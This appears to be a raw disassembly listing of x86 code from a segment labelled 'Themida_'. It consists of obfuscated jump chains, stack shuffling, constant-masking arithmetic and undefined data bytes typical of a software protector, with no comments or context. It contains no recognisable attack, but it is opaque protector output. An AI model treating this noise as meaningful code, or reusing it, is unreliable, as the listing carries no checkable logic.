dd 1900180h, 0E7685FF8h, 89000024h, 96E9243Ch, 89000066h
dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 81425E5Ch, 0EE7E69C2h
dd 2BF3E93Fh, 0C7810000h, 0FFFFFFFFh, 52C4F781h, 0F801639Dh
dd 68D02D5Fh, 0D8017B03h, 368D005h, 0FC83E97Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_504E86: ; CODE XREF: Themida_:0051236Ej
mov [esp], ebx
push dword ptr [esp]
jmp loc_507531
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 83000000h, 895604C3h, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 241C895Ch, 30E9E389h
db 0Fh, 1, 0
; ---------------------------------------------------------------------------
loc_504EB7: ; CODE XREF: Themida_:00513C50j
mov esp, [esp]
jmp loc_50E7B3
; ---------------------------------------------------------------------------
loc_504EBF: ; CODE XREF: Themida_:00509CA3j
mov eax, [esp]
add esp, 4
push ebp
not dword ptr [esp]
mov ebp, [esp]
push 68D9h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
mov eax, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
push ebx
mov ebx, 8BB6626h
jmp loc_514512
; ---------------------------------------------------------------------------
aUUsim db 'U½Ð|#UéiŒ',0
dw 8B00h
dd 0E957240Ch, 0FFFFEC7Bh
; ---------------------------------------------------------------------------
loc_504F14: ; CODE XREF: Themida_:0050327Fj
pop ebp
jmp loc_50D6D4
; ---------------------------------------------------------------------------
dw 0EC05h
dd 508A379h, 22C509B4h, 5C8A68h, 243C8900h, 2E382ABFh
dd 6651683Eh, 2C890000h, 430BBD24h, 0C5810919h, 0FFFFFFFFh
dd 8F6E581h, 0E5C12C9Ah, 0B17CE903h, 965F0000h, 42E9FE87h
dd 8B00009Dh, 34FF2424h, 0E9685824h, 0E9000071h, 0FFFFF6B3h
dword_504F6C dd 240C8B66h, 70566852h, 8F540000h, 0BB532404h, 4, 0FFF2E6E9h
; DATA XREF: Themida_:005029ECo
db 0FFh
; ---------------------------------------------------------------------------
loc_504F85: ; CODE XREF: Themida_:005169ABj
xchg ebp, [esp]
pop esp
jmp loc_50A2BB
; ---------------------------------------------------------------------------
loc_504F8E: ; CODE XREF: Themida_:00503038j
pop esp
add esp, 4
jmp loc_50F86F
; ---------------------------------------------------------------------------
dw 0DA01h
dd 55C2015Bh, 145129BDh, 5DEA2971h, 4EC81h, 0C890000h
dd 152EE924h, 8EBF0000h, 16C724Fh, 0D6F75FFEh, 0F0C1EE81h
dd 0F0012B9Dh, 0B5D1E9h, 0E7895700h, 4C781h, 79E90000h
dd 0BA000107h, 4, 148BD689h, 4C48124h, 89000000h, 24348BF1h
dd 2904C483h, 0FC39E9CAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_504FFA: ; CODE XREF: Themida_:00509976j
push dword ptr [esp]
jmp loc_512E2F
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 0B8505DEBh, 5C715671h, 8EA99305h, 8BC301A3h
dd 0C4832404h, 74FF5304h, 1C8B0424h, 4EC8324h, 47BBE9h
dd 5BFD8800h, 8124148Bh, 4C4h, 0C9AEE900h
db 2 dup(0)
word_50503E dw 8B66h ; DATA XREF: Themida_:005027F8o
dd 4EE9240Ch, 0BF0000EFh, 63DA06B0h, 0C8E9D7F7h
db 0Bh, 1, 0
; ---------------------------------------------------------------------------
loc_505053: ; CODE XREF: Themida_:00507ED8j
add edx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5092D3
; ---------------------------------------------------------------------------
loc_505066: ; CODE XREF: Themida_:00512904j
mov ebx, 0B534A81h
add [esp+4], ebx
pop ebx
mov esi, [esp]
jmp loc_50875E
; ---------------------------------------------------------------------------
dd 6680BBh, 0CB814B1Bh, 446460FDh, 0A652E9h, 24148B00h
dd 81E78957h, 4C7h, 0EA42E900h, 0DDF7FFFFh, 0D531EA31h
dd 3F27E9h, 4C48300h, 5571C381h, 0D8011BA4h, 5B2434FFh
dd 2D04C483h, 3C8706A4h, 5255D829h, 0F14AE9h, 0F8E95700h
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_506BD3
; ---------------------------------------------------------------------------
loc_5050D3: ; CODE XREF: Themida_:00506D00j
sub dword ptr [esp+4], 483A68E2h
mov edx, [esp]
add esp, 4
pop ebx
jmp loc_514B4B
; ---------------------------------------------------------------------------
dw 5559h
dd 42474FFh, 50242C8Bh, 0BE56E089h, 0BBA5B09h, 3809F681h
dd 0C6814632h, 1A675CACh, 116868h, 243C8900h, 0FFFEA1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_505115: ; CODE XREF: Themida_:00511A9Fj
sub ch, 4Eh
add ch, 3Bh
xor dl, ch
pop ecx
push 188Fh
mov [esp], edx
mov dh, 0FAh
sub bl, 27h
add bl, dh
add bl, 27h
jmp loc_50B225
; ---------------------------------------------------------------------------
db 83h, 0E9h, 4
dd 5C240C87h, 83240C89h, 248904ECh, 90E924h, 0DA880000h
dd 5E2C05Bh, 0FFFAC5E9h, 243489FFh, 4DFBE9h, 3E0C100h
dd 577B8305h, 23D3E94Bh, 4890000h, 5FB0E924h, 1C890000h
dd 0B32BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50517A: ; CODE XREF: Themida_:00505E5Cj
mov ch, 41h
sub al, ch
pop cx
pop edx
xor bl, al
movzx eax, al
jmp loc_5161D1
; ---------------------------------------------------------------------------
byte_50518B db 0ADh ; DATA XREF: Themida_:00502A2Co
dd 1CF4BB53h, 0FB875A1Ah, 0FB87D7F7h, 5008E3C1h, 9D7BB7B8h
dd 4CE9574Ch, 56000057h, 965A8EBEh, 2CE68174h, 0E919F355h
dd 0D20h, 875EF029h, 77E92404h, 81000036h, 4ECh, 24248900h
dd 4240483h, 0EC83505Ah, 64FCE904h, 0B8500000h, 4, 4244401h
dd 1F93E9h, 0E6BE5600h, 8104ED33h, 760001C6h, 0B6CE8113h
dd 81668F34h, 0EF37F3EEh, 6CC2817Eh, 119D628h, 6CEA81F2h
dd 5E19D628h, 110EDE9h, 0E9C20100h, 10125h
; ---------------------------------------------------------------------------
loc_50521C: ; CODE XREF: Themida_:00517DB2j
pop esp
mov [esp], edi
jmp loc_513A71
; ---------------------------------------------------------------------------
aKViLSB db '»k,}V‰Ù[)L$',8,'é}¡',0
align 2
loc_505236: ; CODE XREF: Themida_:005107F9j
push small 7F50h
mov [esp], dx
mov dl, 5Fh
xor bl, dl
mov dx, [esp]
push 4BD6h
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 4
jmp loc_5156B7
; ---------------------------------------------------------------------------
db 5Fh
dd 83243C8Bh, 0EA8304C4h, 24148704h, 240C895Ch, 2BF57h
dd 0F9890000h, 0E171E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50527A: ; CODE XREF: Themida_:0050D5DAj
push 2F061EF9h
pop edi
sub edi, 0B0031711h
mov ebx, edi
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_50D20E
; ---------------------------------------------------------------------------
dd 4C406205h, 8BC30120h, 8FE92404h, 0FE00002Fh, 41EE80C6h
dd 53F9E9h
db 0
; ---------------------------------------------------------------------------
loc_5052B5: ; CODE XREF: Themida_:005105BAj
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
push ebx
jmp loc_509165
; ---------------------------------------------------------------------------
dw 0C381h
dd 59E90CAAh, 0D5D5E9h, 0C2E98100h, 0E97A8712h, 787Dh
dd 0DF62C1BBh, 0E9DF893Eh, 2975h, 8104C483h, 4C6h, 2BB5300h
dd 1000000h, 34335BDEh, 24343124h, 5C243433h, 240C8B66h
dd 0F6CCE956h, 0E681FFFFh, 56E07392h, 72AF681h, 46E976FBh
db 3Bh, 2 dup(0)
byte_505323 db 66h ; DATA XREF: Themida_:00502A24o
dd 8324048Bh, 348904ECh, 1A2DE924h, 0E6890001h, 0D958E9h
db 0
; ---------------------------------------------------------------------------
loc_505339: ; CODE XREF: Themida_:0050E753j
push ecx
push ebp
mov ebp, 19A561CFh
jmp loc_50D15F
; ---------------------------------------------------------------------------
loc_505345: ; CODE XREF: Themida_:00512E59j
push 2109h
mov [esp], esp
jmp loc_510018
; ---------------------------------------------------------------------------
aSqs_ db 'SQéÂ_',0
db 0
; ---------------------------------------------------------------------------
loc_505359: ; CODE XREF: Themida_:0051137Aj
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push edx
mov edx, 1
and ecx, edx
push dword ptr [esp]
push dword ptr [esp]
pop edx
push 3935h
mov [esp], esi
mov esi, esp
jmp loc_50F9AF
; ---------------------------------------------------------------------------
db 1
dd 7D142DD8h, 34FF11DAh, 0C4815B24h, 4, 0DE1FE9h
db 0
; ---------------------------------------------------------------------------
loc_505399: ; CODE XREF: Themida_:00511194j
push 3FCFh
mov [esp], ecx
push ebx
push 629831A3h
pop ebx
jmp loc_51212D
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 5D000000h, 478E9h, 39E95200h, 2900006Ch, 0C335BD9h
dd 240C3124h, 8B240C33h, 4892424h, 222C6824h, 24890000h
dd 4B85024h, 1000000h, 58042444h, 17E95758h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5053EB: ; CODE XREF: Themida_:00511938j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
mov edi, 4
add ebp, 5D143093h
add ebp, edi
sub ebp, 5D143093h
pop edi
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
mov dl, 90h
push ecx
mov cl, 0A0h
push 4820h
mov [esp], ebx
mov bl, cl
jmp loc_516CF7
; ---------------------------------------------------------------------------
loc_505436: ; CODE XREF: Themida_:0050FAE6j
push esi
push esp
pop esi
push ebp
jmp loc_51664B
; ---------------------------------------------------------------------------
db 66h
dd 2E9515Bh
db 79h, 0
byte_505446 db 0 ; DATA XREF: ___:off_4274D8o
; ---------------------------------------------------------------------------
loc_505447: ; CODE XREF: Themida_:0050CF14j
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
jmp loc_503825
; ---------------------------------------------------------------------------
aQtsqp db 'QTéŸp',0
db 0
; ---------------------------------------------------------------------------
loc_505463: ; CODE XREF: Themida_:00517B8Dj
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], esi
xchg edx, [esp]
not edx
xchg edx, [esp]
mov esi, [esp]
push ebx
push esp
pop ebx
push 70h
jmp loc_511DB0
; ---------------------------------------------------------------------------
db 81h
dd 9A56AAEDh, 2434FF7Ch, 4EC8359h, 54240C89h, 4C18159h
dd 81000000h, 4C1h, 0A9A2E900h, 535C0000h, 8904EC83h, 0C3BE2434h
dd 894F4746h, 0CDE95EF3h
db 15h, 1, 0
; ---------------------------------------------------------------------------
loc_5054CB: ; CODE XREF: Themida_:00503B5Ej
sub ebp, 4CE76143h
pop ebx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_512DF0
; ---------------------------------------------------------------------------
loc_5054E3: ; CODE XREF: Themida_:0050E035j
neg ebx
push ebp
mov ebp, 586C73F9h
xor ebx, ebp
jmp loc_50D00F
; ---------------------------------------------------------------------------
dw 0D801h
dd 0D23B7A05h, 786AE904h, 14890000h, 4B046824h, 93680000h
dd 89000001h, 4832424h, 48F0424h, 0B8505124h, 505135EAh
dd 294FBA52h, 814A62D5h, 5C5ABEC2h, 0C2814230h, 6D2CB601h
dd 2D5AD021h, 1FBC11C8h, 8650ED0Dh, 41842567h, 0E9485635h
dd 0A08Eh, 17E60558h, 0C189E362h, 0E046E958h, 895CFFFFh
dd 6856240Ch, 4CA86DC4h, 153AE95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505566: ; CODE XREF: Themida_:0050E580j
add eax, 56352508h
shr eax, 8
or eax, 70E20F91h
xor eax, 1D0B4533h
push edi
mov edi, 711A7D65h
jmp loc_50B8DD
; ---------------------------------------------------------------------------
db 81h
dd 0FE74CDC1h, 6E9C143h, 79EAE9h, 4C48300h, 0FFF967E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_505599: ; CODE XREF: Themida_:0051298Cj
or eax, eax
jz loc_50A2BB
push dword ptr [edi+1Ch]
push edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_50B38C
; ---------------------------------------------------------------------------
dw 0F681h
dd 52942389h, 295EF529h, 242C8BE9h, 4C481h, 0CD290000h
dd 1CED8159h, 8138D4DDh, 0D74B95E9h, 71F5E91Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5055DE: ; CODE XREF: Themida_:00509588j
sub eax, 0DC91BA29h
and eax, 5696047Bh
add eax, 0E979FBA1h
add ebx, eax
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_505886
; ---------------------------------------------------------------------------
dw 815Ah
dd 0E0C526C6h, 0F893E9B1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50560A: ; CODE XREF: Themida_:00507C5Cj
mov [esp], edi
push 1
mov edi, [esp]
jmp loc_50630F
; ---------------------------------------------------------------------------
dw 0DA09h
dd 1EA835Bh, 0F707E2C1h, 0ABF281DAh, 2987BF7Ah, 2434FFD0h
dd 0E289525Ah, 97D3E9h, 5528B900h, 0C1492F87h, 0F18102E9h
dd 63A56905h, 18BFBB53h, 0C6E95DE7h, 810000D4h, 4C2h, 0A120E900h
dd 0BD0000h, 29000000h, 5DEA89D5h, 29E9DAF7h, 0BE0000F9h
dd 4BC75972h, 596EEE81h, 0CFE94BC7h
db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50567F: ; CODE XREF: Themida_:0051157Ej
add ebp, 2AA26B2Fh
sub ebp, ecx
sub ebp, 2AA26B2Fh
pop ecx
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebp, 2CFC4E8Bh
jmp loc_51509B
; ---------------------------------------------------------------------------
db 29h
dd 535F5AD0h, 8904EC83h, 0B3E92414h
db 3, 1, 0
; ---------------------------------------------------------------------------
loc_5056BF: ; CODE XREF: Themida_:005058CAj
pop esi
add eax, ebp
pop ebp
push eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_50D0BA
; ---------------------------------------------------------------------------
dword_5056D0 dd 86FBA52h, 0E28161C6h, 12903B08h, 5B24E9h, 24148B00h
; DATA XREF: Themida_:005028D4o
dd 678768h, 242C8900h, 10D3CE9h
db 0
; ---------------------------------------------------------------------------
loc_5056F1: ; CODE XREF: Themida_:0050B54Aj
add esp, 4
mov esi, ebp
pop ebp
mov edx, 2D6B34B9h
sub edx, 51C8353Ch
add edx, esi
add edx, 51C8353Ch
mov esi, [esp]
add esp, 4
jmp loc_50AD9E
; ---------------------------------------------------------------------------
db 54h, 8Fh, 4
dd 24048324h, 241C8B04h, 5E016851h, 24890000h, 24048324h
dd 51E95904h, 420000A7h, 7518EA81h, 0EAD1566Dh, 0A326C281h
dd 0D6298A39h, 0E389535Ah, 4C381h, 6EE90000h, 5700004Dh
dd 0D1725DBFh, 0CAF7814Bh, 817CE622h, 0B85E6AE7h, 0C7814712h
dd 19B66B86h, 315FFA31h, 24148BD3h, 0E904C483h, 9580h
dword_50577C dd 0C0BA52ADh, 0E952F260h, 0FFFFFFABh, 333AB951h, 5E955DBh
; DATA XREF: Themida_:005028E0o
dd 81000126h, 8179E7EBh, 81F3296Fh, 8179E7C3h, 24348B6Fh
dd 171DE951h
db 1, 0
; ---------------------------------------------------------------------------
loc_5057AA: ; CODE XREF: Themida_:00502D75j
inc ebp
jmp loc_504013
; ---------------------------------------------------------------------------
dd 99A4C781h, 0F929FFB4h, 240C875Fh, 34CDE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5057C2: ; CODE XREF: Themida_:00506212j
pop ebp
jmp loc_50749F
; ---------------------------------------------------------------------------
dd 0E973C280h, 0EBAh, 9C242CD3h, 0FFD2F2E9h, 0AAE959FFh
dd 10000F1h, 41BA52D3h, 13B4B2Bh, 0E5D7E9D3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5057EE: ; CODE XREF: Themida_:00502AD6j
mov dh, 73h
and dh, 0C7h
push 4BC5h
mov [esp], ebx
mov bl, 40h
or dh, bl
push dword ptr [esp]
pop ebx
add esp, 4
dec dh
jmp loc_5151F1
; ---------------------------------------------------------------------------
loc_505810: ; CODE XREF: Themida_:00505ABAj
mov ecx, ebx
pop ebx
push 7549h
mov [esp], edx
mov edx, 24h
sub edx, 0CA837D8h
sub edx, 139C2423h
jmp loc_50EAE2
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch, 14895C24h
dd 44F6BA24h, 0BD550A62h, 1, 505DEA29h, 940494B8h, 58C22997h
dd 18216852h, 2C890000h, 2434FF24h, 209DE9h, 241C8900h
dd 744BD668h, 2434FF32h, 2540E95Bh
db 1, 0
; ---------------------------------------------------------------------------
loc_505886: ; CODE XREF: Themida_:005055F9j
push dword ptr [esp+4]
jmp loc_50909A
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 97C28100h, 0E946F034h, 5DB8h
; ---------------------------------------------------------------------------
loc_5058A0: ; CODE XREF: Themida_:00515C3Aj
mov edi, 9E623A4h
xor edi, 9E623A0h
add ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
sub ecx, 4
jmp loc_50F8E7
; ---------------------------------------------------------------------------
loc_5058BC: ; CODE XREF: Themida_:00507866j
pop esp
push ebx
jmp loc_507B9E
; ---------------------------------------------------------------------------
loc_5058C3: ; CODE XREF: Themida_:00516E75j
mov esi, 4
push esi
pop ebp
jmp loc_5056BF
; ---------------------------------------------------------------------------
db 83h
dd 0B9E904C4h, 51000117h, 0F98A6BB9h, 59CF01BDh, 4498C181h
dd 0E9810A2Eh, 0D772E17h, 0C181F929h, 0D772E17h, 68C6E9h
dd 24048100h, 5BAB741Ch, 1CEA815Ah, 5B5BAB74h, 3AE9D2F7h
dd 0FF0000B6h, 83592434h, 0C7E904C4h, 6800000Eh, 3601h
dd 0B4240489h, 0C190E922h, 0F0000000h, 0F0005A66h, 0FE8AB652h
dd 0FAE680CEh, 6E42E9h, 1F68100h, 0E972F179h, 596h, 1834B850h
dd 0C5292CECh, 11C2E958h
db 1, 0
; ---------------------------------------------------------------------------
loc_505956: ; CODE XREF: Themida_:00509681j
shr eax, 0Ch
jmp loc_50CFB6
; ---------------------------------------------------------------------------
loc_50595E: ; CODE XREF: Themida_:0050A98Cj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_50ED0A
; ---------------------------------------------------------------------------
dw 1489h
dd 4C6BBA24h, 0EA815A71h, 2D451FF7h, 63E1EA81h, 0DAF71ABBh
dd 5742E2D1h, 0FFDC2AE9h, 0E9C388FFh, 8FA2h, 5676E181h
dd 0E18106F4h, 22B71303h, 0FFF92CE9h, 0C8966FFh, 13F5E924h
dd 5A580001h, 5B66FA00h, 8430E9h, 243C8700h, 2C6835Ch
dd 191FE9h, 40B85000h, 0BA1E415Bh, 3AE4CE87h, 0E958C229h
dd 64A9h
; ---------------------------------------------------------------------------
loc_5059DC: ; CODE XREF: Themida_:0050FB9Dj
push eax
mov ah, 3Bh
mov cl, ah
pop eax
push eax
mov ah, 5Fh
sub ah, 1
sub cl, ah
pop eax
jmp loc_509F3E
; ---------------------------------------------------------------------------
loc_5059F0: ; CODE XREF: Themida_:00517AB5j
mov ebx, 3FA97EFBh
not ebx
xor ebx, 0A384F3Ah
sub esp, 4
jmp loc_50F391
; ---------------------------------------------------------------------------
dd 0C107E0C1h, 8E908E0h, 33FFFFEEh, 4312404h, 24043324h
dd 2414875Ch, 2404095Ch, 0D0A1E99Ch, 0E8C1FFFFh, 1AEE0D02h
dd 41E94FB3h, 0B9000120h, 2ED87430h, 66B0E9h, 67E98100h
dd 3183E8A8h, 348B59CDh, 4C48124h, 89000000h, 0C9095DEAh
dd 6FE7840Fh, 0EC830000h, 243C8904h, 0E952E789h, 3B21h
; ---------------------------------------------------------------------------
loc_505A6C: ; CODE XREF: Themida_:0051183Bj
add ecx, 28C647Ch
or ecx, 1B0B51D1h
add ecx, 3D17E10Eh
jmp loc_510920
; ---------------------------------------------------------------------------
db 68h
dd 33CEh, 24048F54h, 4240481h, 5A000000h, 0FFFBBAE9h, 0DDF75EFFh
dd 0CEBD5556h, 8155725Dh, 0F735F8EDh, 8F0BE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505AAE: ; CODE XREF: Themida_:005173EFj
push ebx
mov ebx, 68233D49h
xor ebx, 68233D48h
jmp loc_505810
; ---------------------------------------------------------------------------
db 66h
dd 665DEF31h, 66633A2Dh, 0CAE9F829h, 81000000h, 0EB2E47EAh
dd 0C2835F06h, 24143302h, 33241431h, 248B2414h, 48B6624h
dd 0A128E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505AEE: ; CODE XREF: Themida_:0050BF9Ej
add ebp, 2
push 7593h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
jmp loc_5161AC
; ---------------------------------------------------------------------------
dw 0F9BFh
dd 81670367h, 5D3BC7EFh, 3EFC10Ah, 0BD6C781h, 814733D9h
dd 549A96F7h, 0E9FA3123h, 0BF19h, 4BDh, 0FFEE0100h, 0E95D2434h
dd 20F8h, 4E7C14Fh, 91A0E9h, 91C38100h, 8106E15Eh, 0EC3C7CEBh
dd 81C3294Fh, 0EC3C7CC3h, 0A74E94Fh, 805C0001h, 89E9FEEBh
dd 0B7000077h, 80D7F679h, 0B25249E7h, 80CAFED3h, 0E2C06BCAh
dd 3DC28004h, 1FDDE9h
db 0
; ---------------------------------------------------------------------------
loc_505B7D: ; CODE XREF: Themida_:00506E2Dj
push 19A47D9Ah
jmp loc_51404E
; ---------------------------------------------------------------------------
db 4Fh
dd 4A2FE781h, 0F7816477h, 44630200h, 0F002E9h, 3A056600h
dd 8B665F63h, 0C4812434h, 2, 74146866h, 24348966h, 1A4F68h
dd 9E8CE900h, 0C3800000h, 5BD90021h, 8004E1C0h, 0C82892F1h
dd 89515966h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 176DE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505BE2: ; CODE XREF: Themida_:00513819j
add ebx, 361B7B94h
jmp loc_5077BA
; ---------------------------------------------------------------------------
loc_505BED: ; CODE XREF: Themida_:00506E6Fj
pop ebx
add esp, 4
push esi
mov esi, 213542F1h
add eax, esi
pop esi
sub eax, ebx
sub eax, 213542F1h
jmp loc_50ACA7
; ---------------------------------------------------------------------------
loc_505C06: ; CODE XREF: Themida_:00513B0Cj
sub edi, ecx
add edi, 413E11CFh
mov ecx, [esp]
add esp, 4
and ecx, edi
mov edi, [esp]
push edx
push esp
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_515789
; ---------------------------------------------------------------------------
aSds db '\é„é',0
dd 4B800h, 44010000h, 0B3E90424h
db 0Ah, 1, 0
; ---------------------------------------------------------------------------
loc_505C43: ; CODE XREF: Themida_:0050F7FDj
push edi
jmp loc_516963
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 8104C483h, 4C4h, 5348E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505C5A: ; CODE XREF: Themida_:0051637Cj
jmp loc_502ACB
; ---------------------------------------------------------------------------
db 54h
dd 0A5F3E9h
db 0
; ---------------------------------------------------------------------------
loc_505C65: ; CODE XREF: Themida_:0050ACB5j
; Themida_:loc_50EF3Fj
push ebp
push esp
pop ebp
push 34DAh
mov [esp], eax
push 5A7Dh
mov [esp], esi
mov esi, 4
push esi
xor dword ptr [esp], 4B5E4C19h
pop eax
xor eax, 4B5E4C19h
pop esi
jmp loc_5158D3
; ---------------------------------------------------------------------------
loc_505C91: ; CODE XREF: Themida_:0051518Fj
mov ebp, 3B1D1D3Ah
jmp loc_50C553
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 4C68300h, 5C243487h, 573768h, 241C8900h, 0FF30428Fh
dd 34FF2434h, 241C8B24h, 0E3C9E9h, 243C8B00h, 3047E9h
db 0
byte_505CC9 db 68h, 0Ch, 79h ; DATA XREF: Themida_:00502880o
dd 3C890000h, 0BF24h, 0EC830000h, 24148904h, 55515A54h
dd 10413E9h, 0FDC18100h, 8B602701h, 0B368243Ch, 8900001Bh
dd 0E189240Ch, 4BE56h, 0F1010000h, 4C1815Eh, 87000000h
dd 17E9240Ch
db 63h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_505D0F: ; CODE XREF: Themida_:005114F7j
mov [esp], ebp
push esi
jmp loc_514026
; ---------------------------------------------------------------------------
dd 33240431h, 0E0E92404h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_505D23: ; CODE XREF: Themida_:0050B228j
push edx
mov dh, 0A3h
neg dh
sub dh, 0F0h
dec dh
shr dh, 2
jmp loc_50A552
; ---------------------------------------------------------------------------
db 50h, 53h, 51h
dd 1A2891B9h, 0E9CB8946h, 1D9Eh, 0D8005B66h, 2C1AB252h
dd 4D02847h, 24148B47h, 6604C483h, 0E946B252h, 531Dh, 4EC81h
dd 1C890000h, 24048024h, 0DBF65B01h, 5750E3D0h, 0BE56E789h
dd 4, 1B0CC781h, 0F70105F6h, 808CE9h
db 0
; ---------------------------------------------------------------------------
loc_505D89: ; CODE XREF: Themida_:0050F3AEj
mov eax, edx
pop edx
mov esi, eax
pop eax
push 47F2h
jmp loc_512971
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 2401E9h, 24343300h, 0CFEB815Ch, 113904Bh, 0CFC381EBh
dd 0E913904Bh, 4D77h
; ---------------------------------------------------------------------------
loc_505DB8: ; CODE XREF: Themida_:00510A77j
pop eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_50B12B
; ---------------------------------------------------------------------------
loc_505DCD: ; CODE XREF: Themida_:0050D281j
xor edx, edx
jmp loc_5086B9
; ---------------------------------------------------------------------------
dd 54240489h, 8324048Bh, 895304C4h, 3CE951E3h, 0FFFFFFEBh
dd 7BE92434h
db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_505DEF: ; CODE XREF: Themida_:005161B7j
jmp loc_502ACB
; ---------------------------------------------------------------------------
dd 0B353FAB4h, 0CFEC8014h, 0B151DC00h, 0BBF18044h, 20B8E9h
db 0
; ---------------------------------------------------------------------------
loc_505E09: ; CODE XREF: Themida_:0050A9F0j
mov edx, 46B12A9Ch
neg edx
xor edx, 0D49E94F5h
mov eax, 0EC624D03h
jmp loc_5146F9
; ---------------------------------------------------------------------------
dd 0EC3BE959h, 0F9F6FFFFh, 0CCB60F66h, 0E95F5457h, 1956h
dd 70AC68h, 241C8900h, 0E9CDB551h, 0AFE8h
; ---------------------------------------------------------------------------
loc_505E44: ; CODE XREF: Themida_:0050A7CAj
mov esi, 657B1005h
dec esi
sub esi, 95B358CDh
sub edx, esi
pop esi
jmp loc_512E6A
; ---------------------------------------------------------------------------
loc_505E58: ; CODE XREF: Themida_:0050A658j
add al, 37h
push cx
jmp loc_50517A
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 6Ch
dd 0FF00001Dh, 348B2434h, 0E0895024h, 9488E9h
db 0
; ---------------------------------------------------------------------------
loc_505E75: ; CODE XREF: Themida_:00513528j
shl ecx, 8
add ecx, 3DE01DBEh
jmp loc_507C86
; ---------------------------------------------------------------------------
db 8Bh
dd 0DE9243Ch, 88FFFFE4h, 5FE95AF1h
db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_505E93: ; CODE XREF: Themida_:005073E7j
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
jmp loc_506C1A
; ---------------------------------------------------------------------------
db 66h
dd 3CC98059h, 6CF180h, 2434FFCCh, 3AE4E9h, 0BF575200h
dd 448E6F65h, 15FFA89h, 0E9082454h, 10050h, 0BD5AD131h
dd 9F83044Dh, 0E959CD01h, 0FFFFEE36h, 0E34E94Eh, 0C6810000h
dd 4EBEF6FAh, 575EF589h, 56685FBFh, 49F78177h, 81626B6Bh
dd 3E8783EFh, 0E9F989B9h, 0FFFFDB99h, 5AD530h, 0C96859EBh
dd 89000025h, 5366240Ch, 0F9880EB7h, 0E1805B66h, 0BEC1806Ch
dd 8059CB00h, 0D828FDC3h, 847DE9h, 4C48300h, 0B050DFF6h
dd 135AE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_505F36: ; CODE XREF: Themida_:00517973j
pop esi
push ecx
jmp loc_50F826
; ---------------------------------------------------------------------------
loc_505F3D: ; CODE XREF: Themida_:005090B5j
sub ebx, eax
jmp loc_50F001
; ---------------------------------------------------------------------------
dd 8124348Bh, 4C4h, 23E95700h, 8B00003Ch, 4892424h, 0DA67E924h
dd 0BA520000h, 3E214FC1h, 815AD321h, 9103F8F3h, 0AB95118h
dd 4131240Dh, 0FFEA4FE9h
db 0FFh
byte_505F79 db 64h, 66h, 8Bh ; DATA XREF: Themida_:00502A48o
dd 74686602h, 489666Dh, 0A2C9E924h, 0E95D0000h, 0F06Eh
; ---------------------------------------------------------------------------
loc_505F90: ; CODE XREF: Themida_:00504D98j
pop ebp
add edx, ecx
push eax
mov eax, 24EB4D0Eh
shr eax, 6
shl eax, 6
sub eax, 0E10009A7h
sub edx, eax
pop eax
mov eax, [edx]
